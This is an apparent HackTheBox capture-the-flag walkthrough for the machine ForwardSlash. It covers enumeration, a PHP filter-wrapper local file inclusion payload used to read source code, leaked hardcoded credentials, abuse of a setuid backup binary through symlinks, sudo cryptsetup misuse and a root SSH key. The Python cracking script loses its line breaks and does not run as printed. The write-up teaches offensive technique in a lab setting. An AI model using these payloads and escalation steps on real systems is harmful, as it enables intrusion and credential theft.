I started my enumeration of this system with an nmap scan of 10.10.10.183. The options I regularly use are: -p-, which is a shortcut which tells nmap to scan all TCP ports, -sC is the equivalent to --script=default and runs a collection of nmap enumeration scripts against the target, -sV does a service scan, and -oN <name> saves the output with a filename of <name>.
zweilos@kalimaa:~/htb/forwardslash$ nmap -p- -sC -sV -oN forwardslash.nmap 10.10.10.183
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-06 15:59 EDT
Nmap scan report for forwardslash.htb (10.10.10.183)
Host is up (0.046s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3c:3b:eb:54:96:81:1d:da:d7:96:c7:0f:b4:7e:e1:cf (RSA)
| 256 f6:b3:5f:a2:59:e3:1e:57:35:36:c3:fe:5e:3d:1f:66 (ECDSA)
|_ 256 1b:de:b8:07:35:e8:18:2c:19:d8:cc:dd:77:9c:f2:5e (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Backslash Gang
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.01 seconds
This machine only had two ports open, 80 - HTTP & 22 - SSH. Since I had no credentials to use for SSH I fired up a browser and navigated to http://10.10.10.183.
When I connected to port 80 it automatically redirected to forwardslash.htb. In order to redirect my request to get to this pageI had to add the following line to /etc/hosts:
10.10.10.183 forwardslash.htb
After adding the hostname to /etc/hosts I navigated to http://forwardslash.htb and was greeted by webpage that had been defaced by the "Backslash Gang".
The Backslash Gang left a message behind:
Defaced • This was ridiculous, who even uses XML and Automatic FTP Logins
This looked like clues as to how they managed to get into the site. I made note to look for services related to FTP and XML during my enumeration. Other than this defaced page, there was not much to go off so I continued my enumeration.
Dirbuster - forwardslash.htb
Using Dirbuster I found what initially looked like a large number of files, but after doing some closer inspection, the server was simply giving a 403 - Access Denied error to any request that contained .htaccess or .htpasswd in it. One accessible file stuck out, however.
It appeared that one of the server owners had left the other a note. The file note.txt mentioned two potential usernames: pain and chiv and also mentioned that there is a backup site.
Virtual Host Enumeration
Ippsec's video on HTB - Player describes "vhost enumeration" and explains how to search for other virtual hosts which map to the same IP address. From watching this video before I knew that you could enumerate these sites using the tool gobuster:
I used a wordlist of the top 110,000 most common subdomain names, and quickly found the backup site that chiv had mentioned in his note. Once again, I added this domain name to /etc/hosts and tried to access the site.
The Backup site
Navigating to http://backup.forwardslash.htb auto-redirected me once again, this time to a login page at http://backup.forwardslash.htb/login.php. Since I did not have any credentials, I signed up for a new account and logged in.
Once I was logged in, I was greeted by this page. This so-called dashboard did not offer much to do.
The machine creator left behind a message for everyone playing with a friendly public service announcement. Don't smoke, folks. Its disgusting and think of all of the cat-girls you can save.
Since I wasn't finding much to use, I started employing cewl to create a wordlist from each of the pages on this site and from the main page.
This is a good habit to get into: always add new sites to cewl word list just in case. This will often give you potential usernames, passwords, or new subdomain and sites to explore.
Dirbuster redux - backup.forwardslash.htb
Around this time my Dirbuster report from this new subdomain had finished. There were a lot of results to go through, so I decided to finish going through the ones I had seen when I logged in before exploring further.
I found two users with login capability: chiv and pain. I have seen them both leaving notes to the other in the HTML code, and note.txt earlier.
While testing different methods of both uploading files and downloading files from the server, I accidentally pasted in the URL for http://backup.forwardslash.htb/config.php and got the back-end code file back.
<?php
//credentials for the temp db while we recover, had to backup old config, didn't want it getting compromised -pain
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'www-data');
define('DB_PASSWORD', '5iIwJX0C2nZiIhkLYE7n314VcKNx8uMkxfLvCTz2USGY180ocz3FQuVtdCy3dAgIMK3Y8XFZv9fBi6OwG6OYxoAVnhaQkm7r2ec');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
I now had what looked to be a password hash for the www-data user, but I knew from /etc/passwd that the user was not able to log into a shell. I kept trying for all of the other sites I had seen in my enumeration using dirbuster such as api.php, login.php, profilepicture.php but each time I just got back the message "Permission Denied; not that way ;)". The winking smiley and the "not that way" line made it sound as if I was headed in the right direction, but I just needed to try a bit harder.
There were various code examples for bypassing PHP filters, such as by encoding the request in base64 or rot-13. I decided to just try using the base64 encoding first, trying pHp://FilTer/convert.base64-encode/resource=login.php. Luckily for me, it worked right away! I was able to retrieve the login.php page, encoded in base64. I simply had to use the decode function in Burp to get the page code. Unfortunately there was nothing useful in that page. After that I went through and downloaded all of the pages I had seen in dirbuster until I got to pHp://FilTer/convert.base64-encode/resource=dev/index.php which returned the base64 string:
<?php
//include_once ../session.php;
// Initialize the session
session_start();
if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){
header('HTTP/1.0 403 Forbidden');
echo "<h1>403 Access Denied</h1>";
echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>";
//echo "<h2>Redirecting to login in 3 seconds</h2>"
//echo '<meta http-equiv="refresh" content="3;url=../login.php" />';
//header("location: ../login.php");
exit;
}
?>
<html>
<h1>XML Api Test</h1>
<h3>This is our api test for when our new website gets refurbished</h3>
<form action="/dev/index.php" method="get" id="xmltest">
<textarea name="xml" form="xmltest" rows="20" cols="50"><api>
<request>test</request>
</api>
</textarea>
<input type="submit">
</form>
</html>
<!-- TODO:
Fix FTP Login
-->
<?php
if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) {
$reg = '/ftp:\/\/[\s\S]*\/\"/';
//$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/'
if (preg_match($reg, $_GET['xml'], $match)) {
$ip = explode('/', $match[0])[2];
echo $ip;
error_log("Connecting");
$conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n");
error_log("Logging in");
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
error_log("Getting file");
echo ftp_get_string($conn_id, "debug.txt");
}
exit;
}
libxml_disable_entity_loader (false);
$xmlfile = $_GET["xml"];
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$api = simplexml_import_dom($dom);
$req = $api->request;
echo "-----output-----<br>\r\n";
echo "$req";
}
function ftp_get_string($ftp, $filename) {
$temp = fopen('php://temp', 'r+');
if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) {
rewind($temp);
return stream_get_contents($temp);
}
else {
return false;
}
}
?>
Here was the hardcoded FTP-Autologin code that the Backslash Gang had so disdained, and I now had credentials for the user chiv . I then tried using this username/password combo to SSH into the machine, and was greeted with a shell.
Initial Foothold
Enumeration as user chiv
Unfortunately, this user was not the one with the flag, so I assumed that I would need to move laterally to pain in order to get my first score.
linpeas.sh my go-to enumeration all-in-one script
open ports -nope
users
[+] Users with console
chiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash
pain:x:1000:1000:pain:/home/pain:/bin/bash
root:x:0:0:root:/root:/bin/bash
I had access to pain's home folder, which was a bit unusual. Inside was another note, and a python script with some ciphertext in the encryptorinator/ folder.
chiv@forwardslash:/home/pain$ ls
encryptorinator note.txt user.txt
chiv@forwardslash:/home/pain$ cat note.txt
Pain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key... I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.
-chiv
chiv@forwardslash:/home/pain/encryptorinator$ ls -la
total 16
drwxr-xr-x 2 pain root 4096 Mar 24 12:06 .
drwxr-xr-x 7 pain pain 4096 Mar 17 20:28 ..
-rw-r--r-- 1 pain root 165 Jun 3 2019 ciphertext
-rw-r--r-- 1 pain root 931 Jun 3 2019 encrypter.py
I exfiltrated the two files to my machine to make analysis easier.
At first, I thought "lets check the backups I saw while enumerating with linpeas and see if the whole script is available". (By the way, there is no "whole script" and you could go ahead and decrypt it right now.)
Road to User
Further enumeration
In the /usr/bin/ folder there was an interesting program that stuck out to me.
-r-sr-xr-x 1 pain pain 13384 Mar 6 10:06 backup
This program had the setuid bit set and was owned by pain. I thought that I may be able to use this binary to escalate privileges laterally to pain.
In the /var/backups folder, I found a bunch of files that had been backed up, as well as another note from pain.
chiv@forwardslash:/var/backups$ ls -la
total 1004
drwxr-xr-x 3 root root 4096 Jul 6 06:25 .
drwxr-xr-x 14 root root 4096 Mar 5 14:25 ..
-rw-r--r-- 1 root root 61440 Mar 24 06:25 alternatives.tar.0
-rw-r--r-- 1 root root 38908 Mar 24 06:17 apt.extended_states.0
-rw-r--r-- 1 root root 4115 Mar 6 14:17 apt.extended_states.1.gz
-rw-r--r-- 1 root root 3909 Mar 5 14:46 apt.extended_states.2.gz
-rw------- 1 pain pain 526 Jun 21 2019 config.php.bak
-rw-r--r-- 1 root root 437 Mar 5 14:07 dpkg.diversions.0
-rw-r--r-- 1 root root 202 Mar 5 14:07 dpkg.diversions.1.gz
-rw-r--r-- 1 root root 207 Mar 5 14:47 dpkg.statoverride.0
-rw-r--r-- 1 root root 171 Mar 5 14:47 dpkg.statoverride.1.gz
-rw-r--r-- 1 root root 668374 Mar 24 06:17 dpkg.status.0
-rw-r--r-- 1 root root 188241 Mar 24 06:17 dpkg.status.1.gz
-rw------- 1 root root 730 Mar 17 20:13 group.bak
-rw------- 1 root shadow 604 Mar 17 20:13 gshadow.bak
-r--r--r-- 1 root root 129 May 27 2019 note.txt
-rw------- 1 root root 1660 Mar 5 14:46 passwd.bak
drwxrwx--- 2 root backupoperator 4096 May 27 2019 recovery
-rw------- 1 root shadow 1174 Mar 6 14:21 shadow.bak
chiv@forwardslash:/var/backups$ cat note.txt
Chiv, this is the backup of the old config, the one with the password we need to actually keep safe. Please DO NOT TOUCH.
-Pain
I assumed he was talking about this file: -rw------- 1 pain pain 526 Jun 21 2019 config.php.bak since I had found another password in the config.php file on the backup site earlier. Perhaps this password was not encrypted like the previous one.
and we do not have access to /var/backups/recovery. Will need to go back and check out that backup binary again. Since its in $PATH I just ran it.
chiv@forwardslash:~$ backup
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 17:14:04
ERROR: d09b25378e01dd1af648dca8a641e52e Does Not Exist or Is Not Accessible By Me, Exiting...
hmmm...its looking for the hash of something, and says something about only working if the backup is taken in the same second, and displays the time. After some experimentation, discovered that the hash is an md5 hash of the current time in HH:MM:SS format. echo $(date +%T) | md5sum | cut -c1-32 will get me a hash of the time that matches the time in the backup program, now need to script reading the file and sending the hash at the same time (cut because md5sum adds - <filename>at the end of its output).
Try it on the config backup. I had seen a long hash in the one I found before, maybe this one is pre-encryption.
Oooohhhh...need to make a symbolic link of the file, to the proper hash; also don't need to call backup ON the file, just run it in the directory you want it to work in
After much trial and error: getting the hash of the time wasn't working (machine or network lag perhaps?) so I decided to pull the hash directly from the program and symlink the backup file to it
chiv@forwardslash:/dev/shm$ ./bak.sh
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 18:33:28
File cannot be opened.
after some more trial and error...found out that the script must be executed from user's home directory. Successfully got my test file to be read. Next, the config backup/.
Finding user creds
chiv@forwardslash:~$ /dev/shm/bak.sh
----------------------------------------------------------------------
Pain's Next-Gen Time Based Backup Viewer
v0.1
NOTE: not reading the right file yet,
only works if backup is taken in same second
----------------------------------------------------------------------
Current Time: 18:38:30
<?php
/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'pain');
define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704');
define('DB_NAME', 'site');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
die("ERROR: Could not connect. " . mysqli_connect_error());
}
?>
Tried to decrypt the password at first, though it was not a hash despite its looks, was the actual password
User.txt
pain@forwardslash:~$ ls
encryptorinator note.txt user.txt
pain@forwardslash:~$ cat user.txt
cd2c04d272619fd6777527f19fd38cf8
Path to Power (Gaining Administrator Access)
Enumeration as User pain
Enumeration as this user was pretty short, since I had already found most everything as chiv. As I always to when logging in as a new user, I checked my privileges with sudo -l and groups.
pain@forwardslash:/var/backups/recovery$ sudo -l
Matching Defaults entries for pain on forwardslash:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pain may run the following commands on forwardslash:
(root) NOPASSWD: /sbin/cryptsetup luksOpen *
(root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/
(root) NOPASSWD: /bin/umount ./mnt/
pain@forwardslash:~$ groups
pain backupoperator
The backupoperator group sounded familiar. I had seen it earlier on a folder I couldn't access in /var/backups.
I navigated to this folder and found the file encrypted_backup.img. This had to be the backup file that pain had sudo rights to manipulate.
When trying to use luksOpen to decrypt the backup file, however, it prompted me for a passphrase. The note in pain's home folder had mentioned some "crypto magic" that had been applied to the key, so I went back to try to decrypt that ciphertext with the python script.
Python decryption script revisited
Working on script, lots of trial and error
Fixing UnicodeDecodeError in Python scripts
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xf1 in position 932: invalid continuation byte
recieved error: while trying to decrypt. (have seen this with rockyou.txt in the past as well). https://github.com/wpscanteam/wpscan/issues/190 - encoding problems with rockyou.txt and ciphertext solved by using 'latin' encoding
zweilos@kalimaa:~/htb/forwardslash$ vi -c 'let $enc = &fileencoding | execute "!echo Encoding: $enc" | q' ciphertext
Encoding: latin1
Press ENTER or type command to continue
final script:
import stringdefdecrypt(key,msg): lkey =list(key) lmsg =list(msg)for char_key inreversed(lkey):for i inreversed(range(len(lmsg))):if i ==0: tmp =ord(lmsg[i])- (ord(char_key)+ord(lmsg[-1]))else: tmp =ord(lmsg[i])- (ord(char_key)+ord(lmsg[i-1]))while tmp <0: tmp +=256if tmp >256: tmp =105#randomly picked to fix out-of-range charselif tmp ==0: tmp =90#randomly picked to fix out-of-range chars lmsg[i]=chr(tmp)return''.join(lmsg)#checks the output from crypto and sees if at least 60% is ascii letters and returns true for possible plaintextdefis_plaintext(ptext): num_letters =sum(map(lambdax : 1if x in string.ascii_letters else0, ptext))if num_letters /len(ptext)>=.6:returnTruedefmain():withopen('ciphertext', 'r', encoding='latin1')as ctext,open('key', 'r', encoding='latin1')as rock: cipher = ctext.read()#print(cipher + ': ' + str(len(cipher))) #for testing that the cypher is being read properly. Needed latin encoding, as UTF-8 invalidfor line in rock: line = line.strip()#remove any spaces or newlines#print('trying: ' + line) #testing file read purposes...too many lines of output to keep ptext =decrypt(line, cipher)#only print the result if it contains > 60% letters, can be tweaked.ifis_plaintext(ptext):print('plaintext found: '+ ptext)print('The key was: '+ line)exit()#exit on positive result. Remove if false positives.if (__name__=='__main__'):try:main()exceptKeyboardInterrupt:exit()
Since I had now done the hard part and decrypted the backup password with my python script, the next part was fairly straightforward. The commands we are allowed to use with sudo spell out what we can do.
Opens the LUKS device <device> and sets up a mapping <name> after successful verification of the supplied passphrase. If the passphrase is not supplied via --key-file, the command prompts for it interactively.
the device name will be our backup file, the <name> will be backup (command says /bin/mount /dev/mapper/backup ./mnt/) and we will need to make a directory called ./mnt/
I now had an SSH key. Since neither pain or chiv needed an RSA key to login using SSH I assumed this was root's private key.
Root.txt
Trying to login with this key, I encountered an error I had seen before.
zweilos@kalimaa:~/htb/forwardslash$ ssh -i root.id_rsa root@10.10.10.183
load pubkey "root.id_rsa": invalid format
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'root.id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "root.id_rsa": bad permissions
root@10.10.10.183's password:
I knew I was right that this was root's key. Though, as always, you have to make sure to apply chmod 600 <file> to your SSH private keys before use!